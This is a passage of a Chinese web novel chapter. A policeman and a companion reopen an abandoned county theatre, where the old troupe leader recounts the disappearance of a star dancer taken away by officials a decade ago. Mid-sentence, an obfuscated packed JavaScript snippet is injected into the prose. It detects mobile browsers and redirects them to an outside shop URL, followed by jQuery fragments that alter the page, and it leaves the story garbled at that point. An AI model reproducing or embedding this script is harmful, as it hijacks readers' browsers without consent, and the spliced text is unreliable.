清河的老城区,就像是一张泛黄的旧照片,依旧保留着八十年代的风貌。
狭窄的巷弄,斑驳的青砖墙,还有那一座虽然已经破败,但依然能看出当年气派的老剧院。
墙上残留的宣传画标语,还在无声地诉说着那个时代的辉煌。
齐学斌和顾阗月站在剧院门口,看着那扇紧闭的朱漆大门,已经积了厚厚的一层灰,铜锁上也爬满了绿色的锈迹。
“这里就是当年那只‘红舞鞋’最后跳舞的地方?”
顾阗月抬头看着门楣上那块掉了一半漆的“县人民剧场”牌匾,推了推鼻梁上的眼镜。
“没错。”
齐学斌从口袋里摸出一把钥匙,那是从文化局档案室费了九牛二虎之力才借来的备用钥匙,“十年前,这里是清河最热闹的地方。
每当有省里的慰问演出,或者县里的重大节日,这里都是一票难求,甚至有人为了抢个好位置打得头破血流。
而那个叫周红玉的台柱子,就是这舞台上最耀眼的明星,人称‘小梅兰芳’。”
钥匙**锁孔,发出刺耳的摩擦声,像是开启了一扇通往过去的大门。
“当——”
大门缓缓推开,一股陈旧发霉的味道扑面而来,夹杂着灰尘,呛得人直咳嗽。
剧场里很暗,只有高高的老虎窗透进几束尘柱,光影中无数微尘在飞舞。
空荡荡的观众席,一排排破旧的红丝绒座椅像是一个个沉默的幽灵。
舞台上那块已经褪色的深红色天鹅绒幕布,在这个寂静的下午,显得格外诡异,仿佛下一秒就会拉开,上演一出未完的戏码。
“谁?”
一个苍老的声音突然从后台传来,在空旷的剧场里回荡,带着几分惊恐。
两人一惊,循声望去。
只见一个头发花白的老人,正拿着一把扫帚,颤巍巍地从侧幕走出来。
他穿着一身洗得发白、甚至袖口都磨破了的中山装,虽然背有些驼,但依稀能看出当年的风骨。
“老团长?”
齐学斌试探着叫了一声,声音放得很轻。
老人眯起昏花的眼睛,上下打量了齐学斌几眼,目光最后定格在他身上的警服上:“你是……警察?”
“我是县**局的齐学斌。这是我的证件。”
齐学斌走上前亮出证件。
老人没有接只是苦笑着摆了摆手:“不用看了。这身皮我认得。你们也是来问红玉的事的吧?”
“也是?”
齐学斌敏锐地捕捉到了关键词眉头微皱“还有谁来问过?”
老人叹了口气走到舞台边坐下从口袋里掏出一个磨得发亮的老烟袋锅装上一撮烟丝:“十年了。每年这时候红玉的忌日都有人来问。有记者有以前的戏迷也有……一些鬼鬼祟祟、开着外地车的人。他们问得不多但眼神都不善。最后都没了下文也不敢再来了。”
齐学斌掏出自己的打火机给老人点上:“老团长这次不一样。我是来破案的不是来探听八卦的。”
“破案?”
老人深吸了一口烟吐出一团青雾眼神变得深邃而迷离仿佛穿透了时光“小伙子有些案子是破不了的。尤其是……牵扯到那些大人物的时候。当年连王局长都查不下去你?”
“那是当年。”
齐学斌语气坚定“老团长十年前那次省里的慰问演出到底发生了什么?”
老人手一抖
他沉默了良久才缓缓开口声音有些沙哑:“那天晚上红玉跳的是《红色娘子军》。
她穿着那双新做的红舞鞋像一团火一样在舞台上旋转。
那是她跳得最好的一次也是最后一次。台下的掌声把房顶都要掀翻了。”
“演出结束后现在的郑县长当年的县委办主任郑在民带着几个人来到后台。”
老人的声音有些颤抖似乎不愿回忆那一幕“他说省里的领导很欣赏红玉的表演想请她去县招的贵宾楼吃个便饭顺便……”
“顺便指导一下工
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135525|196253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作?”
齐学斌冷冷地接话。
老人点了点头眼角泛起了浑浊的泪花:“红玉那孩子单纯心气儿也高一心只想跳舞本来是不想去的。
但郑主任说这是**任务关乎剧团的前途甚至威胁说如果不去就要削减剧团的经费。
她没办法只能含着泪跟着去了。临
走时,她还跟阿伟说,让他等等她,哪怕多晚回来,还要试试新改的动作。
“阿伟?顾阗月问道,拿出了笔记本记录。
“我们剧团的道具师。一个闷葫芦,平时三棍子打不出个屁来,但手巧得神了。
红玉那双舞鞋就是他亲手做的,鞋底特意加了软垫,怕红玉脚疼。他也是最疼红玉的人,大家都看得出来,他喜欢红玉,只是觉得自己配不上,不敢说。
“那后来呢?齐学斌追问。
“后来……老人痛苦地闭上眼睛,“后来红玉就再也没回来。我们在后台等到天亮。
第二天一早,郑主任告诉我,说红玉被省里的歌舞团看中了,连夜跟领导去省城发展了。
让我们不要多问,也不要乱说,这是一次‘特殊选拔’。还给了剧团一笔所谓的‘培养费’。
“去省城发展,连行李都没拿?连招呼都没打?
齐学斌冷笑,“这种鬼话,也就骗骗三岁小孩。那双红舞鞋呢?
“鞋也没带走。红玉最宝贝那双鞋了。
老人摇着头,“我们当时就不信!阿伟当时就疯了,拿着斧头要去县委找郑在民要人。
结果连门都没进去,就被几个保安打断了腿,扔了出来。
从那以后,阿伟就辞职回了乡下,变得疯疯癫癫的,整天念叨着要在做一双鞋。而红玉,就像人间蒸发了一样,生不见人,死不见尸。
齐学斌深吸了一口气,压住心头的怒火,对照着柳二狗的供词:“老团长,那个省里的领导,是谁?那天晚上,是不是有一辆挂着‘四个圈’标的车接走了红玉?
……